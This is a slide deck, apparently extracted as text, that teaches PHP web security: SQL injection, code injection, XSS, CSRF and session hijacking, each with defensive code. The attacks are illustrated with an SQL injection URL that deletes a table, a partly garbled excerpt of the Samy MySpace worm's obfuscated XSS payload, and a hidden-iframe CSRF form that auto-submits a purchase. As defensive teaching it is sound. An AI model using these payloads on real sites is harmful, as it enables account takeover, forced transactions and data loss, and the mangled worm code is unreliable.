Secure Coding Embedded
Secure Coding Embedded
measurement, not a characteristic. A growing problem that requires a continually evolving solution. (An application can be called Secured, if survives even against future attacks.) Security should be in essential part of application design (not an after thought).
A
Lack of security in an application can lead to: Loss of important data, money, time etc. Damages reputation and trust In extreme, Law suits
Input Validation SQL Injection Code Injection XSS (Cross Site Scripting) CSRF (Cross Site Request Forgery) Session Security
Problems
Code injection y SQL injection y Command injection
y
Solution
y
Always validate inputs using built in PHP functions (is_int(), is_float(), is_bool(), is_finite(), intval(), floatval(), doubleval(), strlen(), strpos(), ctype_alpha(), ctype_alnum() etc.)
One of the most common problems with security SQL queries are injected as input Also similar to input validation Possible problems can be:
Data removal Modification of existing values Unwanted access grant Arbitrary data injection All above combined
http://www.youtube.com/watch?v=h2GEwiA-FEU http://www.youtube.com/watch?v=AFeJ0cfeLpk
/* articles.php */ $id = $_GET['id']; $sql = "select * from articles where id = '$id'"; $result = mysql_query($sql);
Now when we have a call like: http://www.example.com/articles.php?id=1 It is very much valid and we can expect article with id 1 will be fetched from the database.
What if the url is: http://www.example.com/articles.php?id=1; delete from articles; The query becomes
"select * from articles where id = '1'; delete from articles"
Escaping inputs using addslashes or built in PHP mechanism magic_quotes_gpc. (not recommended) Using dedicated escaping functions provided by the database interface
MySQL
mysql_escape_string() mysql_real_escape_string()
PostgreSQL
pg_escape_string() pg_escape_bytea()
SQLite
sqlite_escape_string()
Database specific escaping is not available for all databases (MSSQL, ORACLE etc) Prepared Statements - another approach
Prepared queries are query templates: the structure of the query is pre-defined and fixed with placeholders that stand-in for real data. The placeholders are typically typespecifice.g., int for integer data and text for strings which allows the database to interpret the data strictly We can use PDO (PHP Data Objects) or PHPs mysqli extension for prepared statements
<?php $db = new PDO('mysql:host=localhost;dbname=dbname', 'username', 'password'); $stmt = $db->prepare('select * from articles where id = ?'); try { $stmt->execute(array($_GET['id'])); $stmt->fetchAll(); } catch(PDOException $e) { echo 'Selection failed. Please try again.'; } ?>
Code injection occurs when we use parameters from the web as direct parameter for our code execution. This is especially important for includes
Make sure the value is the one you expected. Else show error message
$requestedModule = $_REQUEST['module']; switch($requestedModule) { case "login": $module = "login"; break; case logout : $module = "logout"; break; default: $module = "error"; }
Cross Site Scripting (XSS) is a situation where by attacker injects JavaScript code, which is then displayed on the page without further validation.
Can lead to embarrassment. Session take-over. Password theft. User tracking by 3rd parties.
User submitted content sites such as blogs, forums, wikis etc User comments on different sites.
http://www.youtube.com/watch?v=ptf9ujBZ8GE
<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);f D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.lengt ('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if (location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+loca {getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}func N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.rep (Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){re ('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','applicat J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.ind +BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,B (BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}fun Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject) ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}ret AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0 {AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is m var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes',' (61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();A ='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm? fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){i var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['su ['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm? fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=g index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend (BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm? fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm() (xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR (AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends'; fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI {return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.se Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.se DIV>
As input data is not filtered, when the page loads user will be redirected to mysite.com. (Totally unexpected?)
Prevention of XSS is as simple as filtering input data using one of the following:
htmlspecialchars()
Encodes ', ", <, >, & etc.
htmlentities()
Convert anything that there is HTML entity for.
strip_tags()
Strips anything that resembles HTML tags
Allowing of tags in strip_tags() can be dangerous, as tag attributes are not stripped, e.g.,
<p onclick="document.location='http://welcometo-the-jungle.com'">This is vulnerable!</p>
Much
less widely understood than XSS... ... but almost certainly more common Cross-site request forgery attacks allow attackers to force your users to take actions on your site that they didnt mean to take
<img src="http://example.com/admin/delete.php?id=5">
UserA is a member of bank.com. He sends money to UserB and found that the following URL used http://bank.com/transfer.do?acct=UserB&amount=100 Now UserA constructs a URL like above to victimize UserC (who is also a user of bank.com) http://bank.com/transfer.do?acct=UserA&amount=100000 Now UserA sends an email to UserC with a forged request. <a href="http://bank.com/transfer.do?acct=UserA&amount=100 000">View my Pictures!</a>
Now if userC clicks the link, he is actually initiating the request as he is already authenticated in the system. But wait, when userC clicks the link, he will definitely notice that a payment has been done. So in order to trick userC without any notice. UserA does this (zero byte image). <img src="http://bank.com/transfer.do?acct=UserA& amount=100000" width="1" height="1" border="0"> So without any problem, userA has got fund from userC.
<iframe style="width: 0px; height: 0px; visibility: hidden" name="hidden"></iframe> <form name="csrf" action="http://amazon.com/gp/ product/handle-buy-box" method="post" target="hidden"> <input type="hidden" name="ASIN" value="059600656X" /> <input type="hidden" name="offerListingID" value="XYPvvbir%2FyHMyphE%2Fy0hKK%2BNt%2FB7% 2FlRTFpIRPQG28BSrQ98hAsPyhlIn75S3jksXb3bdE% 2FfgEoOZN0Wyy5qYrwEFzXBuOgqf" /> </form> <script>document.forms.csrf.submit();</script>
Distinguish each and every request generated from your server. Distinguish request generated from your site and also from some other sites. Do not rely on HTTP Referrer checking as it is not fully reliable. Include a form token on every forms that you display. The form token must be unique and ensure that the request came from your site. Yahoo! Uses similar approach and calls it Crumb
<?php $_SESSION['formKey'] = md5("unique_id"); ?> <form action="http://app.example.com/delete.php" method="POST"> <input type="hidden" name="id" value="37"> <input type="hidden" name="formKey" value="<?php echo $_SESSION['formKey']?>"> <input type="submit" value="Delete this item"> </form> /* server site code */ if($_POST['formKey'] !== $_SESSION['formKey']) { echo 'not a valid request'; exit; } else { // do something unset($_SESSION['formKey']); // unset the formKey so it is not used anymore }
Should be unique per user (or one user can use their crumb to attack another)
Should be changed over time (even for same form request multiple time) Ajax requests must be from the same domain Limiting the lifetime of authentication cookies
Sessions are a common tool for user tracking across an application For the duration of a visit, the session is effectively the users identity If an active session can be obtained by 3rd party, it can assume the identify of the user whos session was compromised During standard HTTP transactions, all request and response information is transmitted as plain-text. Anyone capable of intercepting these messages can steal the users session.
To
prevent session id theft, the id should be altered on every request, invalidating old values.
<?php session_start(); if (!empty($_SESSION)) { // not a new session session_regenerate_id(TRUE); // make new session id } ?>
Because
the session changes on every request, the back button in a browser will no longer work, as it will make a request with the old session id
Use HTTPS Pass secure information Stop session ID being passed via URL Set session.use_only_cookies so that it is hard to generate session fixation. Another session security technique is to compare the browser signature headers
There are more security issues out there. Always try to be proactive on security measure rather than being reactive. Keep updated with latest security flaws and fixes Always try to avoid common pitfalls.
http://www.modsecurity.org/ (mod_security Apache module) http://www.hardened-php.net/ (PHP Security Patches) http://www.xssoops.com/ (Security Scanner) http://www.cgisecurity.com/ http://www.owasp.org/ http://phpsec.org/
Q & A?